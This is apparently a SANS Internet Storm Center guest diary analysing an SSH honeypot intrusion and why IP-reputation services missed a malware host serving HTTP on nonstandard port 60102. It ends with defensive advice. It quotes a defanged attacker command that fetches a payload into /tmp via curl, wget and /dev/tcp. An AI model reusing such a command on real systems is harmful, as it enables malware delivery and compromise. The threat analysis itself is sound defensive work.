[This is a Guest Diary by Robin Zaheer, an ISC intern as part of the SANS.edu Bachelor’s Degree in Applied Cybersecurity (BACS) program [1].]

During my time as an intern with SANS Internet Storm Center [2], my DShield honeypot has seen a variety of attacks that prove to be interesting case studies. Most commonly, I have seen thousands upon thousands of password guessing attacks, for which the ISC provides a nifty webpage [3] that displays the top source IPs, usernames, and passwords used in said attacks observed by my honeypot for SSH/Telnet. Here is a snapshot of that page:

Figure 1: Data from my DShield honeypot on top source IPs, passwords, and usernames used in SSH login attempts for the current day.

 

These attacks are most certainly worth studying, but I think the attacks that occur after the attackers succeed in their password guessing draw my interest the most. After all, attacker behavior is most easily studied when they are given the access necessary to attempt what they mean to do within a target system. The attack I wish to focus on today utilizes a cloud IP that has remained undetected by malicious IP identifiers. It started with the following password guessing attack:

Figure 2: Excerpt from cowrie JSON log detailing successful password guessing attack from source IP %%ip:8.133.192.98%%.

 

The attack then went as follows:

Figure 3: TTY log generated by SSH session from Figure 2 and accessed using playlog command. Displays cowrie-interpreted inputs and command line outputs.

 

This attack took eight seconds, or thirteen if you include the time it took for the attacker to log in with the password guessing attack. In that time, a very complex command is inputted using nohup. The whole command is worth dissecting to understand what the attacker is attempting to do, but I will focus on the following defanged segment of that command:

curl hxxp[://]140[.]143[.]196[.]172[:]60102/linux -o /tmp/TTqYvYlyMT; if [ ! -f /tmp/TTqYvYlyMT ]; then wget hxxp[://]140[.]143[.]196[.]172[:]60102/linux -O /tmp/TTqYvYlyMT; fi; if [ ! -f /tmp/TTqYvYlyMT ]; then exec 6<>/dev/tcp/140[.]143[.]196[.]172/60102 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/TTqYvYlyMT

 

This piece of code tries to connect to and download data from another IP address three different ways: curl, wget, and 6<>/dev/tcp. The commonality between them is some version of trying to connect with the URL hxxp[://]140[.]143[.]196[.]172[:]60102/linux and writing the response into a file. This has struck me as the most interesting piece of the entire attack, as it entails connecting to the IP %%ip:140.143.196.172%% with HTTP, but through the ephemeral %%port:60102%% instead of %%port:80%% or another common service port. However, when I attempted to gather information about this IP’s past behavior, I got little information. See the table below:

Results	Shodan [4]	GreyNoise [5]	AbuseIPDB [6]	SANS ISC [7]
Malicious?	No Results	No results	0% Confidence of Abuse	Risk 0
Reported Activity	N/A	N/A	Three reports of SSH activity on 13 July 2024	No reports, listed on Port 22 Scanner feed between 13-15 July 2024

Figure 4: Results of searching for the IP the attacker attempted to download files from.

 

What is known about this IP is that it is based in Shanghai, China, and is owned by Tencent Cloud Computing Co., Ltd [6][7]. Even the ISC has no reports on this IP, only listing it in the Port 22 Scanner feed from six months ago [7], which is also the only time when AbuseIPDB reported potentially malicious activity from the IP [7].

I believe this means that the server tied to this IP is not normally used for common port scanning; it is only used as a location for attackers to access their malware and download to a compromised system. As of 17 January, 2025, what little information there is about this IP comes from a period of time it was used as an attacking system, whereas now it is a place of access for malware files. Essentially, this host is not an actively malicious system, but it remains a passive threat that aids threat actors in their attacks when needed. This could also make tracking down the stored malware much more difficult to identify and classify, especially at scale. With automated and wide-ranging web scanners like Shodan and GreyNoise failing to identify this threat, many more systems just like it can run under the radar until an analyst personally identifies its purpose. By running a service through an ephemeral port, web scanners are likely to not include that port in the range of ports that they scan on any given host. Additionally, the use of a nonstandard port for HTTP implies that the ability to connect to the server is tied to a service that the attacker crafted or manipulated for control, and that the opening of those ports are temporary(and therefore much more difficult to catch by web scanner), unlike the common service ports.There are examples of actively running HTTP services on malicious systems using nonstandard ports, see below:
 

Figure 5: Snapshot of HTTP service responses on nonstandard ports. Sourced from Shodan query for IP %%ip:220.180.76.126%%. 

 

While the ports for the HTTP services shown in Figure 5 are numbered below %%port:10000%%, the TCP port used in the attack is %%port:60102%%. This explains why Shodan would not be able to see the service, even if the service was actively running. According to the founder of Shodan(username “achillean”), the web scanner scans from a list of ports for all public IPv4 addresses [8]. That list of ports, pulled from Shodan’s API, includes only a fraction of all ports and does not include %%port:60102%% despite including some port numbers typically reserved for ephemeral port usage [9]. It is also worth noting that these responses were logged on certain days based on the date of the response headers, but have not given a more recent response, likely meaning that the services are not active at all times. GreyNoise, on the other hand, would never detect activity for the host of %%ip:140.143.196.172%% due to the way it collects data. According to its creator, it utilizes honeypot servers placed on several cloud providers to collect data much like how DShield collects data, logging access attempts and port scanning [10][11]. GreyNoise passively collects activity, so unless a threat actor attempts to attack one of their honeypots, activity like the above attack would not be logged. For comparison, GreyNoise does label the attacker’s originating IP %%ip:8.133.192.98%% as malicious, including tagging it for SSH connection attempts and SSH bruteforce, which follows the method for this attack [12].

The best way to combat this attack method is to lock down the target system’s inbound and outbound connections, limiting the scope to authorized addresses. Blocking HTTP traffic over unconventional ports should be sufficient to prevent this attack, but it does not safeguard against the malware that would be downloaded and may need the use of application firewalls or endpoint IDS/IPS systems. Also, one may prevent unauthorized access to the target system by protecting against password guessing attacks. This can be achieved by targeting both the credentials on the host and the source IPs attempting to log in. All host account credentials would need password complexity requirements to prevent use of common passwords, and any redundant or unused accounts must be pruned. For example, the credentials used to login in Figure 1 would need to change to something more complex, and the ability to login as root through SSH should be limited or removed. Source IPs can be limited with firewall configuration, such as using iptables for Linux systems. Using daemons like Fail2ban to monitor and ban source IPs with consistent login failures are also effective deterrents of password guessing attacks. The best way to catch the malicious files would be to monitor for file downloads through anomalous connections, such as strange protocol/port pairings. This is easily done with unencrypted protocols like HTTP, but for encrypted protocols like HTTPS, a decryption step would need to be implemented to catch the files in transit. A tool that markets itself as being sufficient at detecting services such as HTTP using nonstandard ports is Censys’s Universal Internet DataSet on their attack surface manager [13]. Once configured, the “automatic protocol detection” feature would be able to detect and alert a range of protocols that are sending/receiving on a nonstandard port.

Ultimately the attack itself is easy to avoid. However, if using a nonstandard port as a service port becomes more commonplace, then it may also become more difficult for cybersecurity professionals to perform discovery in incident response. If the web monitoring services are not catching this utilization of servers, the responsibility falls upon the analyst to identify and mitigate the threat. I hope that this use of ephemeral ports as service ports will be identified and addressed by the IP abuse monitors in the near future, but in the meantime, we must remain aware as analysts of this threat and use tools like Censys to combat it.

 

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://isc.sans.edu
[3] https://www.dshield.org/mysshreports/
[4] https://www.shodan.io/search?query=140.143.196.172
[5] https://viz.greynoise.io/ip/140.143.196.172
[6] https://www.abuseipdb.com/check/140.143.196.172
[7] https://isc.sans.edu/ipinfo/140.143.196.172
[8] https://news.ycombinator.com/item?id=27613813
[9] https://api.shodan.io/shodan/ports
[10] https://www.csoonline.com/article/565406/greynoise-knowing-the-difference-between-benign-and-malicious-internet-scans.html
[11] https://www.slideshare.net/slideshow/the-background-noise-of-the-internet/86816394
[12] https://viz.greynoise.io/ip/8.133.192.98
[13] https://censys.com/finding-non-standard-port-protocol-pairings-with-censys-asm/

 

 

—
Jesse La Grew
Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.